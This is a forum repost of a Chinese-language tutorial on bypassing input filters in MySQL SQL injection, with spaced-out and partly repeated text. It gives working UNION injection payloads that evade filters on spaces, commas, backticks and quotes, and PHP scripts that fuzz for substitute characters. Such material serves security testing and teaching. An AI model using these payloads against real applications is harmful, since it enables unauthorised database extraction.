搜索

[13502] 2018-12-06_SQL注入测试技巧TIP：再从Mysql注入绕过过滤说起

文档创建者：s7ckTeam
浏览次数：68
最后更新：2025-01-18
2018-12-06_SQL注入测试技巧TIP：再从Mysql注入绕过过滤说起 S Q L 注 入 测 试 技 巧 T I P ： 再 从 M y s q l 注 入 绕 过 过 滤 说 起 原 创   Z z z x b u g   F r e e B u f   2 0 1 8 - 1 2 - 0 6 * 本 文 原 创 作 者 ： Z z z x b u g ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 对 于 对 于 m y s q l 的 注 入 ， 基 本 上 是 每 一 名 的 注 入 ， 基 本 上 是 每 一 名 w e b 安 全 从 业 者 入 门 的 基 本 功 ， 这 里 不 多 废 话 ， 结 合 本 人 无 聊 时 在 安 全 从 业 者 入 门 的 基 本 功 ， 这 里 不 多 废 话 ， 结 合 本 人 无 聊 时 在 m y s q l 上 上 的 测 试 ， 来 谈 一 谈 的 测 试 ， 来 谈 一 谈 m y s q l 在 过 滤 某 些 特 殊 字 符 情 况 下 的 注 入 ， 因 为 是 想 到 哪 写 到 哪 ， 文 章 比 较 散 ， 各 位 大 佬 请 绕 在 过 滤 某 些 特 殊 字 符 情 况 下 的 注 入 ， 因 为 是 想 到 哪 写 到 哪 ， 文 章 比 较 散 ， 各 位 大 佬 请 绕 过 ， 和 我 一 样 的 小 白 可 以 看 一 看 ， 温 故 而 知 新 ， 必 有 所 获 。 过 ， 和 我 一 样 的 小 白 可 以 看 一 看 ， 温 故 而 知 新 ， 必 有 所 获 。 p h p 查 询 m y s q l 的 后 台 脚 本 就 不 搭 了 ， 没 有 多 大 意 义 ， 直 接 从 m y s q l 控 制 台 开 始 测 试 。 首 先 从 最 简 单 的 开 始 ： 直 接 使 用 m y s q l 系 统 库 做 测 试 ： 我 们 假 设 在 u s e r 后 存 在 注 入 点 ： 那 么 在 利 用 o r d e r   b y 获 得 列 数 后 进 行 u n i o n 注 入 ： 现 在 开 始 增 加 难 度 , 假 设 后 端 代 码 过 滤 了 空 格 ， 我 们 可 以 替 换 空 格 的 方 法 很 多 ： / * * / ， 0 x 0 a , 0 x 0 b , 0 x 0 c , 0 x 0 d : 上 图 使 用 / * * / 替 换 空 格
上 图 使 用 0 x 0 a 号 字 符 替 换 空 格 ， 注 意 : 按 住 a l t 键 + 小 键 盘 输 入 1 0 再 松 开 a l t 键 即 可 在 控 制 台 中 输 入 a s c i i 字 符 0 x 0 a 上 图 使 用 0 x 0 b 号 字 符 替 换 空 格 ， 注 意 : 按 住 a l t 键 + 小 键 盘 输 入 1 1 再 松 开 a l t 键 即 可 在 控 制 台 中 输 入 a s c i i 字 符 0 x 0 b 上 图 使 用 0 x 0 c 号 字 符 替 换 空 格 ， 注 意 : 按 住 a l t 键 + 小 键 盘 输 入 1 2 再 松 开 a l t 键 即 可 在 控 制 台 中 输 入 a s c i i 字 符 0 x 0 c 上 图 使 用 0 x 0 d 号 字 符 替 换 空 格 ， 注 意 : 按 住 a l t 键 + 小 键 盘 输 入 1 3 再 松 开 a l t 键 即 可 在 控 制 台 中 输 入 a s c i i 字 符 0 x 0 d , 但 因 为 在 控 制 台 中 一 旦 输 入 0 x 0 d ， 就 会 执 行 指 令 ， 所 以 这 里 只 在 u n i o n 前 输 入 了 一 次 。 做 到 这 里 我 们 可 能 会 想 ， 除 了 这 些 字 符 外 还 有 没 有 其 它 字 符 可 以 替 换 空 格 呢 ， 我 们 f u z z 一 下 ： 将 以 上 代 码 存 为 1 . p h p , 放 入 a p a c h e 中 网 页 访 问 ， 显 示 结 果 ： < ? p h p $ m y s q l i   =   n e w   m y s q l i ( ' l o c a l h o s t ' ,   ' r o o t ' ,   ' ' ,   ' m y s q l ' ) ; i f   ( $ m y s q l i - > c o n n e c t _ e r r n o )   {         d i e ( " c o u l d   n o t   c o n n e c t   t o   t h e   d a t a b a s e : n "   .   $ m y s q l i - > c o n n e c t _ e r r o r ) ; } $ i = 0 ; w h i l e ( $ i + + < 2 5 6 ) {         $ s q l   =   " s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' " . c h r ( $ i ) . " u n i o n " . c h r ( $ i ) . " s e l e c t   1 , 2 ; " ;         $ r e s   =   $ m y s q l i - > q u e r y ( $ s q l ) ;         i f   ( $ r e s )   {                 e c h o   " O k ! : $ i : " . c h r ( $ i ) . " < b r > " ;         }         } $ m y s q l i - > c l o s e ( ) ; ? >
可 以 发 现 ， 除 了 我 们 刚 刚 使 用 的 0 x 0 a , 0 x 0 b , 0 x 0 c , 0 x 0 d 外 还 有 9 号 与 1 6 0 号 字 符 可 以 替 换 空 格 （ 3 2 号 本 身 就 是 空 格 ， 3 5 是 注 释 符 不 能 查 询 获 得 正 确 结 果 ， 9 号 是 t a b ， 刚 刚 漏 了 ， 至 于 1 6 0 号 字 符 为 什 么 行 ， 我 也 不 知 道 ， 那 位 哥 如 果 知 道 可 以 告 诉 大 家 ) 。 进 一 步 思 考 ： 如 果 这 些 字 符 都 被 过 滤 了 ， 有 没 有 办 法 不 依 靠 空 格 来 注 入 呢 ， 办 法 还 是 有 的 ， 看 下 面 的 语 句 ： 在 这 个 语 句 中 ： 利 用 了 括 号 、 反 引 号 来 隔 离 了 s q l 关 键 词 与 库 名 表 名 列 名 ， 完 成 了 注 入 。 接 下 来 继 续 提 高 难 度 ， 我 们 的 注 入 语 句 中 有 许 多 逗 号 ， 看 了 让 人 不 爽 ， 如 果 把 逗 号 也 过 滤 掉 ， 我 们 有 没 有 办 法 注 入 呢 ， 方 法 还 是 有 的 ， 我 们 可 以 结 合 j o i n 语 句 和 子 查 询 的 别 名 来 替 换 逗 号 ， 看 下 面 的 语 句 在 这 个 语 句 中 ， 我 们 利 用 j o i n 与 别 名 ， 成 功 的 避 免 使 用 逗 号 实 现 了 注 入 ： 玩 到 这 里 ， 我 脑 洞 忽 然 大 开 ： m y s q l 的 子 查 询 别 名 是 可 以 无 限 嵌 套 的 么 ， 像 俄 罗 斯 套 娃 一 样 ， 下 面 的 语 句 可 以 无 限 扩 展 么 ， 会 不 会 出 现 溢 出 呢 ： s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t ` t a b l e _ n a m e ` , ` t a b l e _ t y p e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t * f r o m ( ( s e l e c t ` t a b l e _ n a m e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) ` a ` j o i n ( s e l e c t ` t a b l e _ t y p e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) b ) ) ;
为 了 验 证 ， 我 又 进 行 了 一 次 f u z z ， 将 下 面 的 代 码 存 为 2 . p h p ， 放 入 a p a c h e 中 网 页 访 问 ： 结 果 如 下 ： 可 以 看 到 在 嵌 套 6 4 次 后 ， m y s q l 输 出 了 ” T o o   h i g h   l e v e l   o f   n e s t i n g   f o r   s e l e c t ” 的 错 误 信 息 ， 也 就 是 说 我 们 最 多 用 m y s q l 进 行 嵌 套 子 查 询 6 4 层 。 继 续 回 到 正 题 上 ， 再 来 看 刚 刚 的 语 句 ： 在 库 名 、 表 名 、 列 名 不 带 空 格 、 * 、 { 、 } 等 特 殊 符 号 的 情 况 下 （ 我 猜 想 反 引 号 的 存 在 本 来 就 是 为 了 这 类 特 殊 库 名 表 名 列 名 准 备 的 ） ， 语 句 中 的 反 引 号 也 可 以 用 括 号 代 替 ， 变 成 下 面 的 语 句 ， 这 样 即 使 过 滤 了 反 引 号 也 可 以 实 现 注 入 ： 如 果 存 在 宽 字 节 注 入 ， 那 么 即 使 过 滤 了 单 引 号 ， 我 们 也 可 以 注 入 ， 这 时 语 句 变 成 这 样 ： 在 注 入 点 处 使 用 宽 字 节 绕 过 , 将 后 面 的 数 据 处 替 换 成 十 六 进 制 ， 来 避 免 了 单 引 号 。 其 他 技 巧 ： 某 些 w e b 应 用 只 取 查 询 结 果 的 第 一 行 ， 这 时 可 以 使 用 g r o u p _ c o n c a t ( ) 来 获 取 完 整 数 据 , 例 如 ： < ? p h p $ m y s q l i   =   n e w   m y s q l i ( ' l o c a l h o s t ' ,   ' r o o t ' ,   ' ' ,   ' m y s q l ' ) ; i f   ( $ m y s q l i - > c o n n e c t _ e r r n o )   {         d i e ( " c o u l d   n o t   c o n n e c t   t o   t h e   d a t a b a s e : n "   .   $ m y s q l i - > c o n n e c t _ e r r o r ) ; } $ i = 1 ; $ s q l   =   " s e l e c t ' 1 ' " ; w h i l e ( $ i + + ) {         $ a l i a s = ' a ' . " $ i " ;         $ s q l   =   " s e l e c t * f r o m ( " . $ s q l . " ) $ a l i a s " ;         $ r e s   =   $ m y s q l i - > q u e r y ( $ s q l ) ;         i f ( ! $ r e s ) {                 e c h o   $ m y s q l i - > e r r o r ;                 b r e a k ;         } e l s e {                 e c h o   $ s q l . " < b r > " ;         } } $ m y s q l i - > c l o s e ( ) ; ? > s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 ) a 4 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 ) a 4 ) a 5 。 。 。 。 。 。 s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t * f r o m ( s e l e c t ' 1 ' ) a 2 ) a 3 ) a 4 ) a 5 ) a 6 ) a 7 ) a 8 ) a 9 ) a 1 0 ) a 1 1 ) a 1 2 ) a 1 3 ) a 1 4 ) a 1 5 ) a 1 6 ) a 1 7 ) a 1 8 ) a 1 9 ) a 2 0 ) a 2 1 ) a 2 2 ) a 2 3 ) a 2 4 ) a 2 5 ) a 2 6 ) a 2 7 ) a 2 8 ) a 2 9 ) a 3 0 ) a 3 1 ) a 3 2 ) a 3 3 ) a 3 4 ) a 3 5 ) a 3 6 ) a 3 7 ) a 3 8 ) a 3 9 ) a 4 0 ) a 4 1 ) a 4 2 ) a 4 3 ) a 4 4 ) a 4 5 ) a 4 6 ) a 4 7 ) a 4 8 ) a 4 9 ) a 5 0 ) a 5 1 ) a 5 2 ) a 5 3 ) a 5 4 ) a 5 5 ) a 5 6 ) a 5 7 ) a 5 8 ) a 5 9 ) a 6 0 ) a 6 1 ) a 6 2 ) a 6 3 ) a 6 4 T o o   h i g h   l e v e l   o f   n e s t i n g   f o r   s e l e c t s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t * f r o m ( ( s e l e c t ` t a b l e _ n a m e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) ` a ` j o i n ( s e l e c t ` t a b l e _ t y p e ` f r o m ` i n f o r m a t i o n _ s c h e m a ` . ` t a b l e s ` w h e r e ` t a b l e _ s c h e m a ` = ' m y s q l ' ) b ) ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( t a b l e _ n a m e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = ' m y s q l ' ) a ) j o i n ( s e l e c t ( t a b l e _ t y p e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = ' m y s q l ' ) b ) ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ? ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( t a b l e _ n a m e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) a ) j o i n ( s e l e c t ( t a b l e _ t y p e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) b ) ) ; s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ? ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( g r o u p _ c o n c a t ( t a b l e _ n a m e ) ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) a ) j o i n ( s e l e c t ( t a b l e _ t y p e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) b ) ) ;
也 可 以 多 加 几 个 条 件 判 断 来 逐 行 获 取 所 要 的 数 据 ： * 本 文 原 创 作 者 ： Z z z x b u g ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文 s e l e c t   h o s t , u s e r   f r o m   u s e r   w h e r e   u s e r = ' a ? ' u n i o n ( s e l e c t * f r o m ( ( ( s e l e c t ( t a b l e _ n a m e ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = ( 0 x 6 D 7 9 7 3 7 1 6 C ) a n d ( t a b l e _ n a m e ) ! = ( 0 x 6 4 6 2 ) a n d ( t a b l e _ n a m e ) ! = ( 0 x 6 7 6 8 7 4 7 8 ) . . . . . . . ) a ) j o i n ( s e l e c t ( 0 x 7 7 ) f r o m ( i n f o r m a t i o n _ s c h e m a . t a b l e s ) w h e r e ( t a b l e _ s c h e m a ) = 0 x 6 D 7 9 7 3 7 1 6 C ) b ) ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理